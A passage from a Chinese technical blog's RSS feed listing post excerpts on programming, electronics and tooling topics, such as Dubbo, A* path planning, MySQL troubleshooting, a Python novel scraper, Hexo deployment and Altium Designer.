      <pubDate>Sun, 14 Aug 2022 20:53:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b54cde13362d74e0ee4f53ab88867733/</guid>
      <description>forever start app.js 启动&#xA;forever stop app.js 停止</description>
    </item>
    <item>
      <title>【隔离继电器模块输出电路分析】</title>
      <link>https://bchobby.github.io/posts/6425bb86e7dace7e36162efb54e32e89/</link>
      <pubDate>Sun, 14 Aug 2022 20:29:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6425bb86e7dace7e36162efb54e32e89/</guid>
      <description>1 气阀等隔离继电器输出模块 继电器电路最大可控制交流250AC/7A环路的通断，用于交流电机交流电压输入的通断，如电机控制、电泵开启，气阀开启等需要开断控制的执行机构。&#xA;2 继电器控制器原理图 3 优选器件 4 电路计算 如下图所示，当F_RELAY为低电平时，IF=(3.3V-VF)/470=(3.3-1.2)/470=4.5mA，光耦EL817导通，进而使得Q11导通，使得继电器导通。&#xA;光耦驱动三极管控制继电器，继电器线圈额定功率是200mW，三极管集电极电路Ic=10mA。D11的作用：续流二极管，释放继电器线圈的电流。&#xA;5 其它友商参考电路 （1）维宏朗达4S继电器电路：&#xA;如图，采用低失调电压以及高压摆率的运算放大芯片OPA2197;采用正负电源以满足设计负压输入的情况，其特性参数如下：依据规划零点位置抬高到1.5V基准。</description>
    </item>
    <item>
      <title>《我想进大厂》之Dubbo普普通通9问</title>
      <link>https://bchobby.github.io/posts/5b66d0a03dc4f431f03a00ef9a832194/</link>
      <pubDate>Sun, 14 Aug 2022 18:10:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b66d0a03dc4f431f03a00ef9a832194/</guid>
      <description>这是面试专题系列第四篇，Dubbo系列。Dubbo本身并不复杂，而且官方文档写的非常清楚详细，面试中dubbo的问题一般不会很多，从分层到工作原理、负载均衡策略、容错机制、SPI机制基本就差不多了，最大的一道大题一般就是怎么设计一个RPC框架了，但是如果你工作原理分层都搞明白了这个问题其实也就相当于回答了不是吗。&#xA;说说Dubbo的分层？&#xA;从大的范围来说，dubbo分为三层，business业务逻辑层由我们自己来提供接口和实现还有一些配置信息，RPC层就是真正的RPC调用的核心层，封装整个RPC的调用过程、负载均衡、集群容错、代理，remoting则是对网络传输协议和数据转换的封装。&#xA;划分到更细的层面，就是图中的10层模式，整个分层依赖由上至下，除开business业务逻辑之外，其他的几层都是SPI机制。&#xA;能说下Dubbo的工作原理吗？&#xA;服务启动的时候，provider和consumer根据配置信息，连接到注册中心register，分别向注册中心注册和订阅服务&#xA;register根据服务订阅关系，返回provider信息到consumer，同时consumer会把provider信息缓存到本地。如果信息有变更，consumer会收到来自register的推送&#xA;consumer生成代理对象，同时根据负载均衡策略，选择一台provider，同时定时向monitor记录接口的调用次数和时间信息&#xA;拿到代理对象之后，consumer通过代理对象发起接口调用&#xA;provider收到请求后对数据进行反序列化，然后通过代理调用具体的接口实现&#xA;为什么要通过代理对象通信？&#xA;主要是为了实现接口的透明代理，封装调用细节，让用户可以像调用本地方法一样调用远程方法，同时还可以通过代理实现一些其他的策略，比如：&#xA;1、调用的负载均衡策略&#xA;2、调用失败、超时、降级和容错机制&#xA;3、做一些过滤操作，比如加入缓存、mock数据&#xA;4、接口调用数据统计&#xA;说说服务暴露的流程？&#xA;在容器启动的时候，通过ServiceConfig解析标签，创建dubbo标签解析器来解析dubbo的标签，容器创建完成之后，触发ContextRefreshEvent事件回调开始暴露服务&#xA;通过ProxyFactory获取到invoker，invoker包含了需要执行的方法的对象信息和具体的URL地址&#xA;再通过DubboProtocol的实现把包装后的invoker转换成exporter，然后启动服务器server，监听端口&#xA;最后RegistryProtocol保存URL地址和invoker的映射关系，同时注册到服务中心&#xA;说说服务引用的流程？&#xA;服务暴露之后，客户端就要引用服务，然后才是调用的过程。&#xA;首先客户端根据配置文件信息从注册中心订阅服务&#xA;之后DubboProtocol根据订阅的得到provider地址和接口信息连接到服务端server，开启客户端client，然后创建invoker&#xA;invoker创建完成之后，通过invoker为服务接口生成代理对象，这个代理对象用于远程调用provider，服务的引用就完成了&#xA;有哪些负载均衡策略？&#xA;加权随机：假设我们有一组服务器 servers = [A, B, C]，他们对应的权重为 weights = [5, 3, 2]，权重总和为10。现在把这些权重值平铺在一维坐标值上，[0, 5) 区间属于服务器 A，[5, 8) 区间属于服务器 B，[8, 10) 区间属于服务器 C。接下来通过随机数生成器生成一个范围在 [0, 10) 之间的随机数，然后计算这个随机数会落到哪个区间上就可以了。&#xA;最小活跃数：每个服务提供者对应一个活跃数 active，初始情况下，所有服务提供者活跃数均为0。每收到一个请求，活跃数加1，完成请求后则将活跃数减1。在服务运行一段时间后，性能好的服务提供者处理请求的速度更快，因此活跃数下降的也越快，此时这样的服务提供者能够优先获取到新的服务请求。&#xA;一致性hash：通过hash算法，把provider的invoke和随机节点生成hash，并将这个 hash 投射到 [0, 2^32 - 1] 的圆环上，查询的时候根据key进行md5然后进行hash，得到第一个节点的值大于等于当前hash的invoker。&#xA;加权轮询：比如服务器 A、B、C 权重比为 5:2:1，那么在8次请求中，服务器 A 将收到其中的5次请求，服务器 B 会收到其中的2次请求，服务器 C 则收到其中的1次请求。</description>
    </item>
    <item>
      <title>Python中的列表（清晰易懂）</title>
      <link>https://bchobby.github.io/posts/848adfc5b9b59e093751ce0097caacb0/</link>
      <pubDate>Sun, 14 Aug 2022 16:13:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/848adfc5b9b59e093751ce0097caacb0/</guid>
      <description>列表是用来存放数据的&#xA;Python中的列表关键字是list&#xA;我们来定义一个列表&#xA;lista = [&#34;a&#34;, &#34;b&#34;, &#34;c&#34;, 666, &#34;a&#34;] 可以看到列表lista中&#xA;有字符型数据&#34;a&#34;, &#34;b&#34;, &#34;c&#34;&#xA;还有整型数据666&#xA;而且还有两个重复的字符&#34;a&#34;&#xA;小结1：&#xA;1、Python列表中可以存放多种类型的数据&#xA;2、Pyton列表中的数据可以重复&#xA;怎么获取Python列表中的值了&#xA;通过下标即可&#xA;例如：lista[0] 里面存放的就是字符&#34;a&#34;&#xA;我们可以通过print()命令打印输出看一下&#xA;lista = [&#34;a&#34;, &#34;b&#34;, &#34;c&#34;, 666, &#34;a&#34;] print(lista[0]) # 输出结果：a 小结2：&#xA;1、Python列表中可以存放多种类型的数据&#xA;2、Pyton列表中的数据可以重复&#xA;3、Python列表中的数据有顺序（从0开始）&#xA;Python还能分段获取列表中的数据&#xA;lista = [&#34;a&#34;, &#34;b&#34;, &#34;c&#34;, 666, &#34;a&#34;] print(lista[1:4]) # 输出结果：[&#39;b&#39;, &#39;c&#39;, 666] 可以看到下标为4 即 lista[4] 中的数据并没有输出&#xA;我们再来看一个例子&#xA;lista = [&#34;a&#34;, &#34;b&#34;, &#34;c&#34;, 666, &#34;a&#34;] print(lista[:3]) # 输出结果：[&#39;a&#39;, &#39;b&#39;, &#39;c&#39;] 可以看到只输出了下标3 即 lista[3] 之前的数据</description>
    </item>
    <item>
      <title>【指针进阶：C语言进阶（Day2）】</title>
      <link>https://bchobby.github.io/posts/edecd3f84ac152227adf9603b05fa77d/</link>
      <pubDate>Sun, 14 Aug 2022 11:58:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/edecd3f84ac152227adf9603b05fa77d/</guid>
      <description>字符指针 对于一般字符指针的使用方式如下：&#xA;int main() { char ch = &#39;w&#39;; char *pc = &amp;amp;ch; *pc = &#39;h&#39;; return 0; } 还有一种使用方式如下：&#xA;当出现把字符串赋值给指针变量的这种形式时，实际上是把字符串首个字符的地址赋给指针变量，千万不要认为指针变量里放的是字符串！！！&#xA;来看一道相关的面试题：&#xA;#include &amp;lt;stdio.h&amp;gt; int main() { char str1[] = &#34;hello bit.&#34;; char str2[] = &#34;hello bit.&#34;; const char *str3 = &#34;hello bit.&#34;; const char *str4 = &#34;hello bit.&#34;; if(str1 ==str2) printf(&#34;str1 and str2 are same\n&#34;); else printf(&#34;str1 and str2 are not same\n&#34;); if(str3 ==str4) printf(&#34;str3 and str4 are same\n&#34;</description>
    </item>
    <item>
      <title>前端页面大小自适应的问题</title>
      <link>https://bchobby.github.io/posts/9fbe08af7be473363c1d3be7858459a4/</link>
      <pubDate>Sat, 13 Aug 2022 22:13:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9fbe08af7be473363c1d3be7858459a4/</guid>
      <description>由于第一次搞前端的开发，学习完就直接自己摸索着开始搞这个网站，所以经常遇到一些问题，然后再针对性的学习怎么解决，解决完后再进行记录。&#xA;问题是这样的：因为第一次没经验，开发的时候基本上给各组件都是固定的宽高值，而平时又是在大显示屏上进行开发，今天偶然间用笔记本的屏幕一看，发现网站的排版完全乱了。因为笔记本的屏幕更小，固定的宽高值显然是安排不下的。那就需要进行大小自适应了。&#xA;确定了问题，那就开始找哪里出了错，首先我的整体结构是用的el-container布局容器，分为头部、主体、尾部三个部分。我给头部和尾部宽度都是100%，主体我是为了突出结构层次，想只给它设置70%的宽度。 /* 头部 */ .el-header{ width: 100%; height: 900px; } /* 主体 */ .el-main{ width: 70%; } /* 底部 */ .el-footer{ height: 35px; } 这里css样式中只写了宽高样式，其余样式就省略了。 主体用的浮动，最后设置了清除浮动，所以没给它加高度。&#xA;这样子的安排似乎感觉没啥问题，所以我就思考，那要怎么改。&#xA;上图就是画了一个网站的整体的布局，红色框是el-container容器，黑色宽是div盒子，肉色是Vue组件。里面的值是固定的宽高（画完才发现，好像2个600的组件高度不一致，忽略这些细节） 于是，我就准备将它们不再使用固定值，打算一个一个换算成百分比，于是改了6个组件的宽度，设为百分比（对应到main的70%宽度的像素值，各占比多少），以为改好了，一试发现还是不对。右边的组件有一部分没了。&#xA;这时候我才意识到，我的想法是如果屏幕足够用的时候，我让main区域只占比70%，可是不一定需要让它的宽度只等于70%啊，我可以给他100%，然后让它水平居中（因为我的组件大小是按照70%来设置的，所以它的显示仍然是70%）。&#xA;这时候发现，哎！有点效果了。这时候网页放在大显示器上是上图的样子，一样的视觉效果，放到笔记本屏幕上是下图这样&#xA;这时候，我又以为自己搞好了，因为确实解决了之前的需求。 但是我又测试了一下它的鲁棒性，所以又作死的将窗口拖大缩小，然后发现又有问题了。放大没什么好说的，当缩小页面的时候，它的排版又不对了，又看不到右边的内容了（甚至缩到一定小的程度时，header区的导航栏各按钮全坨到一起去了，特别丑）。&#xA;试图说服自己，我的笔记本是13.3英寸的屏幕已经够小了，其他的电脑打开后应该也是没问题的，谁有事没事打开了网页后会去缩小窗口大小。但是既然自己测出了bug，不改它心里总痒痒。于是我突然想到了之前改组件宽度把它原本的固定值全换算成了相应百分比值，但是我设置的margin和padding等还是固定值，还是会影响的，要么把它们也全换了？ 肯定不啊。所以我又把组件挑回了固定值。&#xA;那怎么才能将窗口变小的时候，还尽量使结构可以自适应呢？我就查到了CSS3中Media媒体查询技术，实现在大PC端、普通PC端、平板、移动端呈现不同的样式&#xA;简单来说，就是如果我的窗口现在缩小到1500px以下（这个值是我自己缩放试验以后找到的一个阈值），那我就改变这些组件的样式，不然的话，我就维持原样式。&#xA;/* 屏幕自适应 */ @media screen and (max-width: 1500px){ .firstLine ,.secondLine{ width: 930px; } .researchNews,.ResearchSeminars,.joinUs,.NewsAnnouncement,.ResearchDirection{ width: 270px; margin-left: 30px; } .Row { width: 300px; } .NewsHighlight { width: 600px; margin-left: 30px; } } /* 再往下缩小，就可以再根据需求加其他的阈值 */ 以上就是设定的如果此时屏幕最大值为1500px，改变各类的样式。</description>
    </item>
    <item>
      <title>策略梯度(Policy Gradient)算法学习</title>
      <link>https://bchobby.github.io/posts/7e27cb566d7040c8c058e321e029ab3a/</link>
      <pubDate>Sat, 13 Aug 2022 21:20:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e27cb566d7040c8c058e321e029ab3a/</guid>
      <description>前面介绍的是Value-based 算法，每次都需要评估动作或者状态的价值。还有一种算法是直接学习参数化策略的方法。这个策略就是马尔科夫过程所讲的，给定一个状态s，智能体会采取什么样的动作，即 π ( s , a ) \pi(s,a) π(s,a)。这个概率分布，也就是我们的学习目标。&#xA;假设策略的待学习参数为 θ \theta θ，则在 t t t时刻、状态 s s s和参数 θ \theta θ下选择动作 a a a的概率为 π ( a ∣ s , θ ) = P r { A t = a ∣ S t = s t , θ t = θ } \pi(a|s,\theta)=Pr\{A_{t}=a|S_{t}=s_{t},\theta_{t}=\theta\} π(a∣s,θ)=Pr{At​=a∣St​=st​,θt​=θ}。&#xA;一、算法原理 算法的目标就是找到一组参数 θ \theta θ来最大化性能指标（即奖励函数）。&#xA;1、性能指标or策略目标函数 性能指标 J θ J_{\theta} Jθ​的选择依赖于不同的问题类型，主要有以下三类：&#xA;在回合性(episodic)的环境中,我们用起始值（Start Value），也就是起始状态的价值：</description>
    </item>
    <item>
      <title>父子组件之间的三种通讯方式（小程序）</title>
      <link>https://bchobby.github.io/posts/ab5351e114e8176fccc4316facff779e/</link>
      <pubDate>Sat, 13 Aug 2022 20:25:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ab5351e114e8176fccc4316facff779e/</guid>
      <description> 父子组件之间的三种通讯方式（小程序） 文章目录 父子组件之间的三种通讯方式（小程序）三种通讯方式一、属性绑定二、事件绑定三、获取组件实例三、behavior 三种通讯方式 1.属性绑定&#xA;●用于父组件向 子组件的指定属性设置数据，仅能设置JSON兼容的数据&#xA;2.事件绑定&#xA;●用于子组件向父组件传递数据， 可以传递任意数据&#xA;3.获取组件实例.&#xA;●父组件还 可以通过this.selectComponent()获取子组件实例对象&#xA;●这样就可以直 接访问子组件的任意数据和方法&#xA;一、属性绑定 1.属性绑定用于实现父向子传值，而且只能传递普通类型的数据，无法将方法传递给子组件。父组件的示例代码如下:&#xA;&amp;lt;view&amp;gt;这是父组件count:{{count}}&amp;lt;/view&amp;gt; //子组件组件 &amp;lt;my-text1 count=&#34;{{count}}&#34;&amp;gt;&amp;lt;/my-text1&amp;gt; 子组件在properties节点中声明对应的属性并使用。示例代码如下: properties: { count:Number }, //子组件 &amp;lt;view&amp;gt;这是子组件count:{{count}}&amp;lt;/view&amp;gt; 二、事件绑定 事件绑定用于实现子向父传值，可以传递任何类型的数据。使用步骤如下:&#xA;①在父组件的js 中，定义一个函数，这个函数即将通过自定义事件的形式，传递给子组件&#xA;②在父组件的wxml中，通过自定义事件的形式，将步骤1中定义的函数引用，传递给子组件&#xA;③在子组件的js 中，通过调用this.triggerEvent(‘自定义事件名称’， { /参数对象/})，将数据发送到父组件&#xA;④在父组件的js 中，通过e.detail获取到子组件传递过来的数据&#xA;三、获取组件实例 可在父组件里调用this.selectComponent(“id或class选择器”)，获取子组件的实例对象，从而直接访问子组件的任意数据和方法。调用时需要传入一个选择器&#xA;三、behavior </description>
    </item>
    <item>
      <title>3 移动机器人路径规划（4- A*路径规划算法）</title>
      <link>https://bchobby.github.io/posts/309fc5ba7efbf217a80dcd9c4f90fa22/</link>
      <pubDate>Sat, 13 Aug 2022 19:08:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/309fc5ba7efbf217a80dcd9c4f90fa22/</guid>
      <description>3 移动机器人路径规划 4.1 Astat路径规划算法原理4.2 Astat路径规划例子示例4.3 Astat路径规划算法MATLAB代码4.3.1 MATLAB代码示例4.3.2 主代码：Astat.m4.3.3 函数代码：Astat_NextNode.m 4.4 Astat路径规划算法Python代码4.4.1 Python实现示例4.4.2 辅助函数PathPlanning.py4.4.3 Astar路径规划Python代码 4.5 对角线路径过滤4.5.1 优化对角线的例子4.5.2 优化方法4.5.3 MATLAB子节点过滤函数Astat_NextNode.m4.5.3 Python子节点过滤函数Astat_NextNode 4.1 Astat路径规划算法原理 A-Star算法是一种静态路网中求解最短路径最有效的直接搜索方法，也是许多其他问题的常用启发式算法。注意其是最有效的直接搜索算法，之后涌现了很多预处理算法（如ALT，CH，HL等等），在线查询效率是A*算法的数千甚至上万倍。&#xA;公式表示为： f(n)=g(n)+h(n),其中， f(n) 是从初始状态经由状态n到目标状态的最小代价估计，g(n) 是在状态空间中从初始状态到状态n的最小代价，h(n) 是从状态n到目标状态的路径的最小估计代价。对于路径搜索问题，状态就是图中的节点，代价就是距离） 参考文档&#xA;Astat算法-百度百科&#xA;Astat中文博客&#xA;Astat最火英文博客&#xA;4.2 Astat路径规划例子示例 4.3 Astat路径规划算法MATLAB代码 4.3.1 MATLAB代码示例 地图信息和示例是一致的，最后得到的最短路径，和搜寻的地图区域如图所示：&#xA;4.3.2 主代码：Astat.m %% 定义基础数据，包括地图行列的长度，起点位置等 clc;clear;close all rows = 6;cols = 7; % 地图的尺寸 dy_SearchArea =[]; % 动态绘制搜索区域 searchHead = 2;searchEnd = searchHead; % 动态绘制搜索区域的速度 startSub = [3,2]; % 起点行列位置 goalSub = [3,6]; % 终点行列位置 obsSub = [2,4;3,4;4,4]; % 障碍物行列位置(n*2) %% 定义栅格地图，并初始化，此部分以后内容，均不用修改------------------------------------------------- % 初始化地图数值为1，代表全空白区域 field = ones(rows, cols); % 起点、终点、障碍物区域的权值 % Tips:对于单个点，Filed(x,y) = 2是可以的，但是多个点需要转成索引数组才能 field(startSub(1),startSub(2)) = 4; field(goalSub(1),goalSub(2)) = 5; % 后续路径规划算法，对于点的位置，均用索引值进行表示（输入变量只需要一个就行） obsR = obsSub(:,1);obsC = obsSub(:,2); obsIndex = sub2ind([rows,cols],obsR,obsC); startIndex = sub2ind([rows,cols],startSub(1),startSub(2)); goalIndex = sub2ind([rows,cols],goalSub(1),goalSub(2)); field(obsIndex) = 2; %% ******建立openList(n*4)和closeList(n*2)并初始化************************************ % 初始时，openList只有起点，closeList为空 % openList(n*4),分别记录记录点的位置信息，G、H、F值 openList = [startIndex,0,0,0]; % closeList(n*2)记录位置信息和距离权值F值，初始化时候为空 closeList = []; %% *************初始化path，即从起点到地图任意点的路径矩阵(n*2)*************************** for i = 1:rows*cols path{i,1} = i; % 存放地图任意点的索引 path{i,2} = []; % 存放起点到该点的路径 end % 对于起点，其路径是已知的，写入起点路径 path{startIndex,2} = startIndex; %% 绘制地图-------------------------------------------------------------------------- % 定义函数，列数，以及障碍物坐标 cmap = [1 1 1; .</description>
    </item>
    <item>
      <title>【已解决】MySQL 服务无法启动</title>
      <link>https://bchobby.github.io/posts/b7bc5a5f0b13928c2ccc11c6c883aecd/</link>
      <pubDate>Sat, 13 Aug 2022 14:47:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b7bc5a5f0b13928c2ccc11c6c883aecd/</guid>
      <description>问题 启动mysql时出错&#xA;解决方法 重新初始化&#xA;删除安装目录的data文件夹&#xA;cd到bin目录下，输入mysqld --initialize 重新初始化后再启动检查端口&#xA;mysql默认端口3306，在命令行输入netstat -ano,查看端口3306（mysql默认端口）是否被占用：&#xA;如果是，输入 taskkill /f /pid xxxx终止进程：&#xA;重新启动即可：</description>
    </item>
    <item>
      <title>Python爬虫实战-小说网站爬虫开发</title>
      <link>https://bchobby.github.io/posts/b8cf5f4b15d4c40befd6c66b5f5968f9/</link>
      <pubDate>Sat, 13 Aug 2022 10:42:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b8cf5f4b15d4c40befd6c66b5f5968f9/</guid>
      <description>需求： 从http://www.kanunu8.com/book3/6879爬取《动物农场》所有章节的网址，再通过一个多线程爬虫将每一章的内容爬取下来。在本地创建一个“动物农场”文件夹，并将小说中的每一章分别保存到这个文件夹中。每一章保存为一个文件。&#xA;涉及到的知识点&#xA;1、requests爬虫网站内容&#xA;2、正则表达式提取内容&#xA;3、文件写入&#xA;4、多线程&#xA;插话：做这类需求，最好还是先自己想，自己实现，实现后再去看自己跟书上的有什么不一样。&#xA;单线程实现 #使用requests获取网页源代码 import requests import re import time #获取首页源码 html=requests.get(&#39;https://www.kanunu8.com/book3/6879/&#39;).content.decode(encoding=&#39;gbk&#39;) # print(html) #获取所有章节链接 herf=re.findall(&#39;&amp;lt;a href=&#34;(13.*?)&#34;&amp;gt;&#39;,html,re.S) print(herf) start=time.time() for i in herf: #通过链接获取每一章的源码 chapter_html=requests.get(&#39;https://www.kanunu8.com/book3/6879/&#39;+i).content.decode(encoding=&#39;gbk&#39;) # print(chapter_html) title=re.search(&#39;size=&#34;4&#34;&amp;gt;(.*?)&amp;lt;&#39;,chapter_html,re.S).group(1)#获取章节名称 content=re.findall(&#39;&amp;lt;p&amp;gt;(.*?)&amp;lt;/p&amp;gt;&#39;,chapter_html,re.S)#获取每一张p标签内的内容,结果返回为列表 content_str=&#34;\n&#34;.join(content).replace(&#34;&amp;lt;br /&amp;gt;&#34;,&#34;&#34;)#列表转为字符串并替换多余符号 with open(&#39;动物农场/&#39;+title+&#39;.txt&#39;,&#39;w&#39;,encoding=&#39;utf-8&#39;) as f: f.write(title) f.write(content_str) end=time.time() print(f&#39;单线程耗时{end-start}&#39;) 结果，文件夹是自己手动创建的，生成如下十个章节txt文件。&#xA;文件为每个章节的内容。&#xA;如果看不到，在文件夹右键，reload from disk&#xA;这个记录了下耗时，可以看到是13秒多。&#xA;单线程耗时13.868733167648315&#xA;多线程 #使用requests获取网页源代码 import requests import re import time from multiprocessing.dummy import Pool def get_html(): #获取首页源码 html=requests.get(&#39;https://www.kanunu8.com/book3/6879/&#39;).content.decode(encoding=&#39;gbk&#39;) # print(html) #获取所有章节链接 herf=re.</description>
    </item>
    <item>
      <title>esp32 vscode 开发环境搭建</title>
      <link>https://bchobby.github.io/posts/c9e921b8787cb577a2725d96e582fca1/</link>
      <pubDate>Sat, 13 Aug 2022 06:52:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c9e921b8787cb577a2725d96e582fca1/</guid>
      <description> 参考链接:VSCode安装ESP32开发环境ESP-IDF_大神与小汪的博客-CSDN博客_vscode配置esp32&#xA;很详细有图文，构建起来非常方便 </description>
    </item>
    <item>
      <title>使用Hexo部署静态网站或博客到github(gitee)时css或js样式无法显示的问题原因以及解决方案</title>
      <link>https://bchobby.github.io/posts/d40d479ceb71b97743fb224ddca12c66/</link>
      <pubDate>Fri, 12 Aug 2022 22:20:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d40d479ceb71b97743fb224ddca12c66/</guid>
      <description>1、问题： 使用hexo部署静态网站或博客时，经常会有一个问题：明明导入了js文件以及css文件，也成功部署了网站，但访问时，样式就是加载不出来，如下所示：​​​​​​​ 2、问题原因查找： 首先我打开网页调试窗口，发现有一个报错：&#xA;我一看这不就是语法错误吗？我第一反应是这些静态文件未编译或者语法有问题，但找半天后并没有发现语法上有什么问题。&#xA;既然不是语法的问题那就是路径的问题了，可能是路径问题导致的css或js文件未导入或未加载到，我就开始检查我的hexo里的_config.yml文件&#xA;首先先看deploy中推送的仓库路径是否正确：&#xA;嗯...无误，接着检查url和root，果然这里发现问题了 ：&#xA;url 是github的仓库地址，无误，但root是要填仓库所在的根路径，这里却填成了仓库路径，导致路径找不到，所以样式无法加载，这样把错排出来后面就简单多了！&#xA;3、解决方案： （1）首先确保静态文件语法等正确，推送仓库路径正确 （2）如下把root后的仓库根路径修改为：/ ，别忘了保存，很多人会忽略这一步 （3）hexo三件套重新部署网站： hexo clean hexo g hexo d 4、问题解决 最后一定记得先把github仓库刷新一下，然后再访问目标网页地址，这时就会发现样式都出现了，问题解决！</description>
    </item>
    <item>
      <title>Java策略模式实战</title>
      <link>https://bchobby.github.io/posts/cadf47b924658d212752bba0bf9ef748/</link>
      <pubDate>Fri, 12 Aug 2022 18:16:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cadf47b924658d212752bba0bf9ef748/</guid>
      <description>策略模式介绍 意图：定义一系列的算法,把它们一个个封装起来, 并且使它们可相互替换。&#xA;主要解决：在有多种算法相似的情况下，使用 if...else 所带来的复杂和难以维护。&#xA;何时使用：一个系统有许多许多类，而区分它们的只是他们直接的行为。&#xA;如何解决：将这些算法封装成一个一个的类，任意地替换。&#xA;关键代码：实现同一个接口。&#xA;应用实例： 1、诸葛亮的锦囊妙计，每一个锦囊就是一个策略。 2、旅行的出游方式，选择骑自行车、坐汽车，每一种旅行方式都是一个策略。 3、JAVA AWT 中的 LayoutManager。&#xA;优点： 1、算法可以自由切换。 2、避免使用多重条件判断。 3、扩展性良好。&#xA;缺点： 1、策略类会增多。 2、所有策略类都需要对外暴露。&#xA;使用场景： 1、如果在一个系统里面有许多类，它们之间的区别仅在于它们的行为，那么使用策略模式可以动态地让一个对象在许多行为中选择一种行为。 2、一个系统需要动态地在几种算法中选择一种。 3、如果一个对象有很多的行为，如果不用恰当的模式，这些行为就只好使用多重的条件选择语句来实现。&#xA;注意事项：如果一个系统的策略多于四个，就需要考虑使用混合模式，解决策略类膨胀的问题。&#xA;策略模式实现图示 实战阶段 1.Controller @RestController @RequestMapping public class xxxController { @Autowired private Map&amp;lt;String, BuryingPointService&amp;gt; map; @PostMapping(&#34;/xxx&#34;) public X X(@RequestBody X x) throws Exception { String moduleType = x.getModuleType(); //只需要和前端定义好每个service的名字,传入具体名字即可 A a= map.get(moduleType); a.b(x); return XX; } } 2.Service public interface XService{ //定义一个父接口,子类只需要去实现这个父接口即可 void action(X x); } 3.</description>
    </item>
    <item>
      <title>光速掌握-CSS预处理器SASS从入门到高级</title>
      <link>https://bchobby.github.io/posts/7beba80b42e5c6d422c381ea58fc22bb/</link>
      <pubDate>Fri, 12 Aug 2022 17:07:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7beba80b42e5c6d422c381ea58fc22bb/</guid>
      <description>一、 什么是sass Sass (英文全称：Syntactically Awesome Stylesheets) 是一个最初由 Hampton Catlin&#xA;设计并由 Natalie Weizenbaum 开发的层叠样式表语言， Sass 是一个 CSS 预处理器。Sass 是 CSS&#xA;扩展语言，可以帮助我们减少 CSS 重复的代码，节省开发时间。Sass 完全兼容所有版本的 CSS。&#xA;为什么使用 Sass?&#xA;CSS 本身语法不够强大，导致重复编写一些代码，无法实现复用，而且在代码也不方便维护。&#xA;Sass 引入合理的样式复用机制，增加了规则、变量、混入、选择器、继承、内置函数等等特性。&#xA;我们可以举个例子，我们会在 CSS 中重复使用很多次十六进制的颜色代码，当有了变量之后，如果要改变颜色代码，只要修改变量的值就好了：&#xA;二、 vscode集成sass 在vscode中配置sass，下载插件&#xA;下载完成后在扩展设置里面，点击，然后在settings.json里面添加&#xA;代码如下&#xA;// 是否生成对应map &#34;liveSassCompile.settings.generateMap&#34;: true, &#34;liveSassCompile.settings.autoprefix&#34;: [&#34;&amp;gt; 1%&#34;, &#34;last 2 versions&#34;], &#34;liveSassCompile.settings.excludeList&#34;: [&#34;**/node_modules/**&#34;, &#34;.vscode/**&#34;], &#34;liveSassCompile.settings.formats&#34;: [ { // compressed 压缩格式 // expanded展开格式 // compact 紧凑格式 // nested 嵌套格式 &#34;format&#34;: &#34;expanded&#34;, &#34;extensionName&#34;: &#34;.css&#34;, &#34;</description>
    </item>
    <item>
      <title>Altium Designer基础使用</title>
      <link>https://bchobby.github.io/posts/78ce871d2084e0f87a6e32d8e7e9a6a0/</link>
      <pubDate>Fri, 12 Aug 2022 17:01:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/78ce871d2084e0f87a6e32d8e7e9a6a0/</guid>
      <description>Altium Designer基础使用 目录 Altium Designer基础使用一、元器件符号库1.Mode功能2.新部件功能使用3.多功能管脚的名称自定义4.利用Excel智能创建多管脚元器件符号 二、原理图界面1.原理图大小的调整2.原理图图纸自动标号3.原理图中元器件的标注调整4.多通道设计 未完待续。。。 一、元器件符号库 1.Mode功能 元器件符号绘制，每个人都有自己的使用习惯，因此同一个元器件符号会有不同的样式。在元器件符号库中给同一个元件添加多个Mode，之后在原理图中使用时就可以根据设计者的喜好来摆放自己喜欢看到的元器件符号样式。Mode的功能使用就在于此。（以下电阻为例）&#xA;新建工程后，来新建一个元件符号库。&#xA;将其命名为“RES”。&#xA;放置管脚，绘制主体。&#xA;电阻大小现在受限于栅格设置，利用快捷键调制栅格大小&#xA;英文输入下 v-g-s 打开栅格设置默认设置为100mil，可以调整至最小10mil。&#xA;接着调整主体的长和宽，就绘制出较为美观的电阻符号。&#xA;绘制好一种之后就可以添加Mode。&#xA;在View菜单栏下，选择Mode功能。&#xA;选择之后，菜单栏下会出现下图中所示的一个项目栏，点击“+”进行添加Mode。&#xA;添加后“Rename”会亮起，就可以对新的Mode进行一个命名。新的Mode里是一个空白的界面。根据上述元器件绘制过程可以绘制一个不一样的电阻Mode。&#xA;在走线时发现不能走一个直线，可以用空格键切换走线的一个模式。&#xA;绘制出了一个样式不同的电阻。&#xA;元器件绘制完成后，就可以放置到原理图当中了。&#xA;点开元器件的属性面板，就可以随意切换两种Mode了&#xA;2.新部件功能使用 新部件功能的使用，将一个元器件划分多个部件（part），在原理图电路连接时，可以使电路设计的可读性更加方便。并且划分的结果不会影响元器件的封装，只需要将管脚位号标记准确即可。&#xA;此文档说明以LMV385IDGKR-P元器件符号绘制为例。&#xA;进入原理图符号库界面后，在菜单栏下“工具”→“新器件”，创建一个新的原理图库元器件，并为元器件进行重命名。&#xA;在菜单栏下“工具”→“新部件”，给元器件新建三个部件。&#xA;在Part A中绘制第一个部件，单击原理图绘制工具栏中的“放置多边形”进行绘制元器件主体结构。&#xA;放置管脚，单击原理图符号绘制工具栏中的“放置管脚”，将管脚属性设置正确。&#xA;【 对照数据手册，管脚1为输出管脚OUT1，管脚2和管脚3为输入管脚IN1-和IN1+ 】&#xA;全选后复制，进入Part B 粘贴。只需要进行管脚位号的修改即可。&#xA;【 对照数据手册，管脚7为输出管脚OUT2，管脚6和管脚5为输入管脚IN1-和IN1+ 】&#xA;在 Part C 中绘制公共电源管脚。&#xA;【 